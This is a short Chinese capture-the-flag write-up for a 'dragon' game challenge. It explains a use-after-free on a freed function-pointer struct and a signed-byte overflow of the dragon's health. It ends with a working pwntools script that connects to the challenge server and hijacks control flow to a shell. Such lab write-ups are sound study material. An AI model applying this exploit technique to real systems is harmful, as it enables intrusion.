首先,检查一下程序的保护机制
然后,我们用IDA分析一下,游戏结束后释放掉了ptr
也就是释放掉了v5,而当我们打赢游戏的时候,又malloc(0x10)并输入,然后又调用了v5里面的函数指针,由于v5之前free掉了,所以这里malloc(0x10)并输入,控制的就是v5指向的那块内存,将里面指针指向后面函数即可。
现在是如何才能赢得游戏,观察龙的血量,是一个byte
而赢得游戏的条件是龙的血量小于等于0
Byte的话超过127,就小于等于0了,因此,我们让龙的血量不断增加,最终溢出即可赢得游戏。第一次,我们故意输掉游戏,然后来到第二次,龙的血量初始化为80,也就是0x50,这样我们只需让龙的血量增加0x30即可轻松赢得游戏。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
sh = remote('node3.buuoj.cn',29862) def win(): sh.sendlineafter('[ 2 ] Knight','1') for i in range(2): sh.sendline('3') sh.sendline('3') sh.sendline('2') sh.sendlineafter('[ 2 ] Knight','1') for i in range(4): sh.sendline('3') sh.sendline('3') sh.sendline('2')
win() sh.sendlineafter('The World Will Remember You As:',p32(0x08048DBF))
sh.interactive()
|